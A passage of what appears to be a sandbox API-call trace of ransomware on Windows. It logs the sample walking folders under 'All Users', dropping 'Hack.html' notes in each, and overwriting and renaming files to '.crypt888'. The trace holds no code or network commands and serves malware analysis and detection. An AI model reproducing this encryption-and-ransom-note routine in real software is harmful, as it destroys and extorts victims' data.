lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x2d [0089.291] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\", lpFilePart=0x0) returned 0x2e [0089.291] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0089.291] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0089.291] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x2d [0089.291] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\", lpFilePart=0x0) returned 0x2e [0089.291] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0089.292] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0089.292] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\Hack.html", lpFilePart=0x0) returned 0x37 [0089.292] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0089.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da88) returned 1 [0089.294] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html", lpFilePart=0x0) returned 0x2e [0089.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0089.294] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.294] GetFileType (hFile=0x174) returned 0x1 [0089.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0089.294] GetFileType (hFile=0x174) returned 0x1 [0089.294] WriteFile (in: hFile=0x174, lpBuffer=0x273fc54*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x273fc54*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0089.295] CloseHandle (hObject=0x174) returned 1 [0089.296] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Hack.html", lpFilePart=0x0) returned 0x26 [0089.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0089.296] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.297] GetFileType (hFile=0x174) returned 0x1 [0089.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0089.297] GetFileType (hFile=0x174) returned 0x1 [0089.297] WriteFile (in: hFile=0x174, lpBuffer=0x27423f4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27423f4*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0089.298] CloseHandle (hObject=0x174) returned 1 [0089.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0089.298] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help", lpFilePart=0x0) returned 0x21 [0089.298] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help\\", lpFilePart=0x0) returned 0x22 [0089.298] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0089.298] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.299] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.299] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.299] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.299] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.299] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.299] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.299] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.300] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.300] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.300] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.300] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.300] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.300] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.300] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.302] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.302] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.302] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.302] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.302] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.302] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.303] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.303] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.303] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0089.303] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0089.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0089.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0089.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0089.303] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help", lpFilePart=0x0) returned 0x21 [0089.303] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help\\", lpFilePart=0x0) returned 0x22 [0089.303] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0089.304] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.304] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.304] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.305] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.305] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.305] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.305] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.305] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.305] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.305] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.306] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.306] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.306] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.306] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.306] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.306] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.306] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.306] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.307] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.307] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.307] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.307] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.307] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.308] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.308] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.308] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.308] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.308] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.308] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.309] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.309] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.309] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.309] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0089.310] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0089.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0089.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0089.310] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help\\Hack.html", lpFilePart=0x0) returned 0x2b [0089.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0089.310] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html" (normalized: "c:\\users\\all users\\microsoft help\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.310] GetFileType (hFile=0x174) returned 0x1 [0089.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0089.310] GetFileType (hFile=0x174) returned 0x1 [0089.310] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0089.310] ReadFile (in: hFile=0x174, lpBuffer=0x274a930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x274a930*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0089.311] CloseHandle (hObject=0x174) returned 1 [0089.353] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help\\Hack.html", lpFilePart=0x0) returned 0x2b [0089.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0089.353] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html" (normalized: "c:\\users\\all users\\microsoft help\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.354] GetFileType (hFile=0x174) returned 0x1 [0089.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0089.354] GetFileType (hFile=0x174) returned 0x1 [0089.354] WriteFile (in: hFile=0x174, lpBuffer=0x2798a8c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x2798a8c*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0089.355] CloseHandle (hObject=0x174) returned 1 [0089.355] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help\\Hack.html", lpFilePart=0x0) returned 0x2b [0089.355] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help\\Hack.html.crypt888", lpFilePart=0x0) returned 0x34 [0089.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0089.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html" (normalized: "c:\\users\\all users\\microsoft help\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbd12860, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbd12860, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6744d60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0089.356] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html" (normalized: "c:\\users\\all users\\microsoft help\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft help\\hack.html.crypt888")) returned 1 [0089.356] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help\\Hack.html", lpFilePart=0x0) returned 0x2b [0089.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0089.356] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\Hack.html" (normalized: "c:\\users\\all users\\microsoft help\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.357] GetFileType (hFile=0x174) returned 0x1 [0089.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0089.357] GetFileType (hFile=0x174) returned 0x1 [0089.357] WriteFile (in: hFile=0x174, lpBuffer=0x279b660*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x279b660*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0089.357] CloseHandle (hObject=0x174) returned 1 [0089.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0089.358] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla", lpFilePart=0x0) returned 0x1a [0089.358] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\", lpFilePart=0x0) returned 0x1b [0089.358] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a128 [0089.358] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.358] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.358] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.358] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0089.358] FindClose (in: hFindFile=0x59a128 | out: hFindFile=0x59a128) returned 1 [0089.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0089.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0089.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0089.359] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla", lpFilePart=0x0) returned 0x1a [0089.359] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\", lpFilePart=0x0) returned 0x1b [0089.359] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a128 [0089.359] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.359] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.359] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0089.359] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0089.359] FindClose (in: hFindFile=0x59a128 | out: hFindFile=0x59a128) returned 1 [0089.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0089.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0089.359] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\Hack.html", lpFilePart=0x0) returned 0x24 [0089.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0089.360] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\Hack.html" (normalized: "c:\\users\\all users\\mozilla\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.360] GetFileType (hFile=0x174) returned 0x1 [0089.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0089.360] GetFileType (hFile=0x174) returned 0x1 [0089.360] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0089.360] ReadFile (in: hFile=0x174, lpBuffer=0x279dbf4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x279dbf4*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0089.361] CloseHandle (hObject=0x174) returned 1 [0089.374] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\Hack.html", lpFilePart=0x0) returned 0x24 [0089.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0089.374] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\Hack.html" (normalized: "c:\\users\\all users\\mozilla\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.375] GetFileType (hFile=0x174) returned 0x1 [0089.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0089.375] GetFileType (hFile=0x174) returned 0x1 [0089.375] WriteFile (in: hFile=0x174, lpBuffer=0x27ebd44*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x27ebd44*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0089.376] CloseHandle (hObject=0x174) returned 1 [0089.376] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\Hack.html", lpFilePart=0x0) returned 0x24 [0089.376] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2d [0089.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0089.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\Hack.html" (normalized: "c:\\users\\all users\\mozilla\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbd389c0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbd389c0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6791020, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0089.377] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Mozilla\\Hack.html" (normalized: "c:\\users\\all users\\mozilla\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\mozilla\\hack.html.crypt888")) returned 1 [0089.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.377] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\logs", lpFilePart=0x0) returned 0x1f [0089.377] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Mozilla\\logs\\", lpFilePart=0x0) returned 0x20 [0089.377] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a4e8 [0089.377] FindNextFileW (in: hFindFile=0x59a4e8, 